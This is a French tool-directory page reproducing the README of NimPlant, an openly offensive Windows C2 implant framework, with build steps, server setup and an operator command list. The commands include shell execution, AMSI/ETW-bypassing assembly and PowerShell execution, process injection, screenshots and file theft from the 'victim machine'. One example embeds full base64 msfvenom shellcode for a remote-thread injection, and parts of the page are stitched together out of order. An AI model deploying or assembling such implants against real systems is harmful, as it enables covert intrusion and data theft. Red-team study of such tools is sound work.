Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
NimPlant — Un implant C2 de premier stade léger écrit en Nim (et Rust). | Kitploit
Outils/GitHubGitHub/chvancooten/nimplant
Frameworks de Tests d'IntrusionGénération de PayloadsPost-ExploitationCommandement et ContrôleRed Teaming
GitHubchvancooten/nimplant

NimPlant

Un implant C2 de premier stade léger écrit en Nim (et Rust).

Voir le dépôt
951116il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

NimPlant - Une première étape légère d'implant C2 écrite en Nim|Rust et Python

GitHub Workflow Status PRs Welcome

Par Cas van Cooten (@chvancooten), avec un grand merci à des personnes formidables :

Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl) , Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), et bien d'autres !

Si NimPlant vous a été utile et/ou que vous appréciez mon travail en général, votre soutien est le bienvenu :

Sponsor on GitHub

Aperçu des fonctionnalités

  • Implant léger et configurable écrit en langages de programmation Nim et Rust
  • Interface web jolie qui vous donnera l'air cool pendant toutes vos opérations
  • Chiffrement et compression de tout le trafic par défaut, obfusque les chaînes statiques dans les artefacts de l'implant
  • Prise en charge de plusieurs types d'implant, y compris les binaires natifs (exe/dll), le shellcode ou les exécutables auto-supprimants
  • Large sélection de commandes axées sur les opérations de première phase, notamment l'énumération locale, la gestion des fichiers ou du registre, et les interactions web
  • Déploiement facile de fonctionnalités ou de payloads plus avancés via inline-execute, shinject (en utilisant l'invocation dynamique), powershell dans un runspace personnalisé, ou execute-assembly dans un thread
  • Prise en charge des opérations sur n'importe quelle plateforme, l'implant ne ciblant que x64 Windows pour l'instant
  • Enregistrement complet de toutes les interactions et opérations sur les fichiers
  • Beaucoup plus encore, voir ci-dessous :)

Instructions

Installation

Une version moderne de Python3 est nécessaire pour exécuter Nimplant.

Serveur

  • Installez requirements.txt à partir du dossier serveur (pip3 install -r server/requirements.txt).

Implant (Nim)

  • Installez la chaîne d'outils Nim pour votre plateforme (l'installation via choosenim est recommandée, car apt n'a pas toujours la dernière version).
  • Installez les packages nécessaires à l'aide du gestionnaire de packages Nimble (cd client; nimble install -d).
  • Si vous êtes sur Linux ou MacOS, installez la chaîne d'outils mingw pour votre plateforme (brew install mingw-w64 ou apt install mingw-w64).
  • Si vous êtes sur ArchLinux spécifiquement, modifiez votre configuration Mingw selon ce gist (merci @tothi !).

Implant (Rust)

  • Installez la chaîne d'outils Rust (l'installation via rustup est recommandée).
  • Installez la cible MinGW Windows : rustup target add x86_64-pc-windows-gnu.
  • Recommandé pour une meilleure opsec : modifiez votre fichier ~/.cargo/config.toml comme indiqué dans Cargo.toml et utilisez la chaîne de compilation nightly (rustup default nightly).

Remarque : Même si vous compilez sous Windows, la cible x86_64-pc-windows-gnu est recommandée. Elle produit des binaires légèrement plus volumineux, mais semble plus stable lorsque le shellcode est généré à partir de la DLL résultante. Vous pouvez modifier rust-toolchain.toml pour changer la cible en x86_64-pc-windows-msvc, mais le shellcode généré peut ne pas fonctionner correctement dans tous les cas.

Pour commencer

Configuration

Avant d'utiliser NimPlant, créez le fichier de configuration config.toml. Il est recommandé de copier config.toml.example et de travailler à partir de celui-ci.

Un aperçu des paramètres est fourni ci-dessous.

Compilation

Une fois la configuration à votre goût, vous pouvez générer des binaires NimPlant à déployer sur votre cible. Actuellement, NimPlant prend en charge les binaires .exe, .dll et .bin pour respectivement les exécutables (auto-supprimants), les bibliothèques et le shellcode indépendant de la position (via sRDI). Pour générer, exécutez python nimplant.py compile suivi de vos binaires préférés (exe, exe-selfdelete, dll, raw ou all) et, éventuellement, du type d'implant (nim, rust, nim-debug ou rust-debug - compilera Nim par défaut). Les fichiers seront écrits respectivement dans client/bin/ ou .

Vous pouvez passer l'argument rotatekey pour générer et utiliser une nouvelle clé XOR lors de la compilation.

Remarques :

  • NimPlant ne prend en charge que x64 pour l'instant !

  • Le point d'entrée pour les fichiers DLL est Update, qui est déclenché par DllMain pour tous les points d'entrée. Cela signifie que vous pouvez utiliser par exemple rundll32 .\NimPlant.dll,Update pour déclencher, ou utiliser votre LOLBIN de choix pour le sideload (peut nécessiter quelques modifications dans client/NimPlant.nim ou client-rs/src/lib.rs)``` PS C:\NimPlant> python .\nimplant.py compile all

    root@kitploit:~
                *    *(#    #
                **  **(##  ##
       ########       (       ********
      ####(###########************,****
         # ########       ******** *
         .###                   ***
         .########         ********
         ####    ###     ***    ****
       ######### ###     *** *********
     #######  ####  ## **  ****  *******
     #####    ##      *      **    *****
     ######  ####   ##***   **** .******
     ###############     ***************
          ##########     **********
             #########**********
               #######********
    

    | \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

    root@kitploit:~

Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

root@kitploit:~
### Compilation avec Docker

L'utilisation de Docker est simple et évite les problèmes de dépendances, car toutes les dépendances de construction et d'exécution nécessaires sont préinstallées dans le conteneur.

Pour utiliser Docker, vous pouvez utiliser le conteneur public `chvancooten/nimplant` depuis [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (construit via CI/CD), ou construire le `Dockerfile` à partir des sources.

> Pour construire à partir des sources, exécutez la commande suivante depuis le répertoire principal :
> 
> ```bash
> docker build . -t nimplant
> ```

Cela construira un conteneur étiqueté `nimplant:latest`. Remarque : cela peut prendre un certain temps et produire un conteneur de taille conséquente en raison des dépendances de développement !

Une fois cela fait, vous pouvez exécuter le conteneur depuis la ligne de commande pour compiler vos artefacts.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust

Note : Ceci est une commande d'exemple, assurez-vous d'ajuster les arguments comme les volumes montés à votre situation.

Démarrer le serveur

Une fois vos binaires prêts, vous pouvez lancer votre serveur NimPlant ! Si vous avez compilé localement, aucune configuration supplémentaire n'est nécessaire car il lit le même fichier config.toml. Pour lancer un serveur, exécutez simplement python nimplant.py server (avec les privilèges sudo si vous êtes sous Linux). Vous pouvez utiliser la console une fois qu'un Nimplant se connecte, ou accéder à l'interface web à http://localhost:31337 (par défaut).

Notes :

  • Si vous exécutez votre serveur NimPlant depuis une machine différente de celle où les binaires sont compilés, assurez-vous que config.toml et .xorkey correspondent. Sinon, NimPlant ne pourra pas se connecter.

  • Le frontend web et l'API ne prennent pas en charge l'authentification, alors ne PAS exposer le port du frontend à des réseaux non fiables sans un proxy inverse sécurisé !

  • Si NimPlant ne peut pas se connecter à un serveur ou perd la connexion, il réessayera 5 fois avec un délai exponentiel avant de tenter une ré-enregistrement. S'il échoue à s'enregistrer 5 fois de plus (même logique de délai), il s'auto-détruira. Le délai triple le temps de pause à chaque tentative échouée. Par exemple, si le temps de pause est de 10 secondes, il attendra 10, puis 30 (3^1 * 10), puis 90 (3^2 * 10), puis 270 (3^3 * 10), puis 810 secondes avant d'abandonner (ces paramètres sont codés en dur mais peuvent être modifiés dans client/NimPlant.nim).

  • Les journaux sont stockés dans le répertoire server/logs. Chaque instance de serveur crée un nouveau dossier de logs, et les logs sont répartis par session console/nimplant. Les téléchargements et les envois (y compris les fichiers téléversés via l'interface web) sont stockés respectivement dans les répertoires server/uploads et server/downloads.

  • Les détails du Nimplant et du serveur sont stockés dans une base de données SQLite à server/nimplant.db. Ces données sont également utilisées pour récupérer les Nimplants après un redémarrage du serveur.

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

root@kitploit:~
Cela démarrera à la fois l'API C2 et le serveur web de gestion (dans l'exemple ci-dessus à `http://127.0.0.1:31337`) et l'écouteur NimPlant (dans l'exemple ci-dessus à `https://0.0.0.0:443`). Une fois qu'un NimPlant se connecte, vous pouvez utiliser à la fois l'interface web et la console pour envoyer des commandes à NimPlant.

### Démarrer le serveur avec Docker

Le même conteneur `chvancooten/nimplant` utilisé pour la compilation peut également être utilisé pour exécuter le serveur NimPlant. Pour que NimPlant reconnaisse le serveur, les fichiers `config.toml` et `.xorkey` doivent correspondre à la machine où NimPlant a été compilé (c'est automatiquement correct si vous avez utilisé le même conteneur Docker pour la compilation). De plus, le fichier `config.toml` doit être configuré correctement pour Docker, notamment l'adresse IP du serveur de gestion doit être définie sur `0.0.0.0` pour y accéder via Docker (assurez-vous de ne l'exposer que sur l'interface locale de votre hôte).

Vous pouvez lancer un serveur NimPlant avec la commande exemple ci-dessous :```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server

Remarque : Ceci est un exemple de commande, assurez-vous d'ajuster les arguments tels que les volumes montés à votre situation.

L'utilisation de Docker vous permet de configurer facilement des configurations plus complexes. Par exemple, le répertoire docker-example contient un fichier docker-compose.yml qui montre comment exposer NimPlant derrière un redirecteur Nginx utilisant HTTPS et une page d'accueil factice.

Utilisation

Les commandes disponibles sont les suivantes. Vous pouvez obtenir une aide détaillée pour n'importe quelle commande en tapant help [command]. Certaines commandes indiquées par (GUI) peuvent être configurées graphiquement lorsque vous utilisez l'interface web, cela peut être fait en appelant la commande sans aucun argument.``` Command arguments shown as [required] . Commands with (GUI) can be run without parameters via the web UI.

cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.

root@kitploit:~
#### Utilisation de Beacon Object Files (BOFs)

**REMARQUE : Les BOF sont volatils par nature, et l'exécution d'un BOF défectueux ou le passage d'arguments ou de types incorrects peut planter votre session NimPlant ! Assurez-vous de tester les BOF avant de les déployer !**

NimPlant prend en charge le chargement en mémoire des BOF grâce aux excellents projets [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) et [Coffee](https://github.com/hakaioffsec/coffee) (Rust). L'exécution d'un BOF nécessite un fichier objet BOF compilé local (généralement nommé comme `bofname.x64.o`), un point d'entrée (généralement `go`), et une liste d'arguments avec leurs types respectifs. Les arguments sont passés sous forme de paire `arg argtype` séparée par un espace.

Les arguments sont donnés conformément au format "Zzsib", ils peuvent donc être soit `string` (alias : `z`), `wstring` (ou `Z`), `integer` (alias : `int` ou `i`), `short` (`s`), soit `binary` (`bin` ou `b`). Les arguments binaires peuvent être une chaîne binaire brute ou encodée en base64, cette dernière est recommandée pour éviter les mauvais caractères.

Quelques exemples d'utilisation (en utilisant les magnifiques BOF de TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] comme exemple) sont donnés ci-dessous. Notez que `inline-execute` (sans arguments) peut être utilisé pour configurer la commande graphiquement dans l'interface graphique.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

Notifications Push

Par défaut, NimPlant prend en charge les notifications Push via le hook notify_user() défini dans server/util/notify.py. Par défaut, il implémente une simple notification Telegram qui nécessite que les variables d'environnement TELEGRAM_CHAT_ID et TELEGRAM_BOT_TOKEN soient définies avant de se déclencher. Bien entendu, le code peut être facilement étendu avec sa propre fonctionnalité de notification Push. Le hook notify_user() est appelé lorsqu'un nouveau NimPlant se connecte et reçoit un objet avec les détails du NimPlant, qui peuvent ensuite être poussés selon les besoins.

Construction du frontend

En tant qu'utilisateur normal, vous ne devriez pas avoir à modifier ou reconstruire l'interface utilisateur fournie avec Nimplant. Cependant, si vous souhaitez apporter des modifications, installez NodeJS et exécutez npm install dans le répertoire ui. Exécutez ensuite ui/build-ui.py. Cela se chargera de récupérer les paquets, de compiler le frontend Next.JS et de placer les fichiers au bon endroit pour que le serveur Nimplant puisse les utiliser.

Un mot sur l'utilisation en production et l'OPSEC

NimPlant a été développé comme un projet d'apprentissage et publié au public à des fins de transparence et d'éducation. L'évasion des antivirus ou des EDR n'est pas un objectif pour l'implant(s) prêt à l'emploi. En grande partie, NimPlant ne fait aucun effort pour cacher ses intentions. De plus, des protections ont été mises en place pour empêcher les abus. En d'autres termes, n'utilisez PAS NimPlant en l'état dans des engagements de production sans une analyse approfondie du code source et des modifications ! Rappelez-vous également que, comme pour toute framework C2, l'empreinte OPSEC de l'exécution de certaines commandes doit être prise en compte avant le déploiement. NimPlant peut être compilé sans commandes risquées pour l'OPSEC en définissant riskyMode sur false dans config.toml.

Dépannage

Il existe de nombreuses raisons pour lesquelles Nimplant peut échouer à compiler ou à s'exécuter. Si vous rencontrez des problèmes, veuillez essayer les solutions suivantes (dans l'ordre) :

  • Assurez-vous d'avoir suivi les étapes décrites dans la section 'Installation' ci-dessus, vérifiez que toutes les dépendances sont installées et que les versions correspondent
  • Assurez-vous d'avoir suivi les étapes décrites dans la section 'Compilation' ci-dessus et d'avoir utilisé le conteneur Docker pour écarter tout problème de dépendance
  • Vérifiez les journaux dans le répertoire server/logs pour toute erreur
  • Essayez les modes de compilation nim-debug ou rust-debug pour compiler avec la console et les messages de débogage (.exe uniquement) afin de voir si des messages d'erreur sont renvoyés
  • Essayez de compiler depuis un autre système d'exploitation ou avec une autre chaîne d'outils pour voir si la même erreur se produit
  • Si tout ce qui précède échoue, soumettez un problème. Assurez-vous d'inclure les informations de build appropriées (système d'exploitation, versions de nim/rust/python, versions des dépendances) et le résultat des étapes de dépannage ci-dessus. Les problèmes incomplets peuvent être fermés sans préavis.
Télécharger l’outil
CatégorieParamètreDescription
serveripL'adresse IP sur laquelle le serveur web C2 (y compris l'API) écoutera. Il est recommandé d'utiliser 127.0.0.1, n'utilisez 0.0.0.0 que si vous avez mis en place des règles de pare-feu ou de routage appropriées pour protéger le C2.
serverportLe port sur lequel le serveur web C2 (y compris l'API) écoutera.
listenertypeLe type d'écouteur, soit HTTP ou HTTPS. Les options HTTPS sont configurées ci-dessous.
listenersslCertPathLe chemin local vers un fichier de certificat HTTPS (par exemple demandé via LetsEncrypt CertBot ou auto-signé). Ignoré lorsque le type d'écouteur est 'HTTP'.
listenersslKeyPathLe chemin local vers le fichier de clé privée du certificat HTTPS correspondant. Le mot de passe sera demandé au lancement du serveur NimPlant s'il est défini. Ignoré lorsque le type d'écouteur est 'HTTP'.
listenerhostnameLe nom d'hôte de l'écouteur. S'il n'est pas vide (""), NimPlant utilisera ce nom d'hôte pour se connecter. Assurez-vous que le trafic est correctement routé de cet hôte vers le port d'écouteur NimPlant.
listeneripL'adresse IP de l'écouteur. Requise même si 'hostname' est défini, car elle est utilisée par le serveur pour s'enregistrer sur cette IP.
listenerportLe port de l'écouteur. Requis même si 'hostname' est défini, car il est utilisé par le serveur pour s'enregistrer sur ce port.
listenerregisterPathLe chemin URI que les nouveaux NimPlants utiliseront pour s'enregistrer.
listenertaskPathLe chemin URI à partir duquel les NimPlants obtiendront leurs tâches.
listenerresultPathLe chemin URI auquel les NimPlants soumettront leurs résultats.
nimplantriskyModeCompiler NimPlant avec le support des commandes risquées. Discrétion de l'opérateur conseillée. La désactivation supprimera le support de execute-assembly, powershell, shell et shinject.
nimplantsleepMaskIndique s'il faut utiliser le masque de sommeil Ekko au lieu des appels de sommeil réguliers pour les NimPlants. Ne fonctionne qu'avec les exécutables réguliers pour l'instant !
nimplantsleepTimeLe temps de sommeil par défaut en secondes pour les nouveaux NimPlants.
nimplantsleepJitterLa gigue par défaut en pourcentage pour les nouveaux NimPlants.
nimplantkillDateLa date de fin de vie pour les NimPlants (format : aaaa-MM-jj). Les NimPlants se fermeront si cette date est dépassée.
nimplantuserAgentLe user-agent utilisé par les NimPlants. Le serveur l'utilise également pour valider le trafic NimPlant, il est donc recommandé de choisir un UA discret mais pas trop répandu.
client-rs/bin/
A light-weight stage 1 implant and C2 based on Nim|Rust and Python By Cas van Cooten (@chvancooten)

Les logs, les fichiers téléchargés/téléversés et la base de données peuvent être nettoyés en exécutant nimplant.py avec le flag cleanup. Attention : cela effacera tout, alors assurez-vous de sauvegarder ce dont vous avez besoin d'abord !``` PS C:\NimPlant> python .\nimplant.py server

root@kitploit:~
            *    *(#    #
            **  **(##  ##
   ########       (       ********
  ####(###########************,****
     # ########       ******** *
     .###                   ***
     .########         ********
     ####    ###     ***    ****
   ######### ###     *** *********
 #######  ####  ## **  ****  *******
 #####    ##      *      **    *****
 ######  ####   ##***   **** .******
 ###############     ***************
      ##########     **********
         #########**********
           #######********

| \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

root@kitploit:~
  A light-weight stage 1 implant and C2 written in Nim|Rust and Python
  By Cas van Cooten (@chvancooten)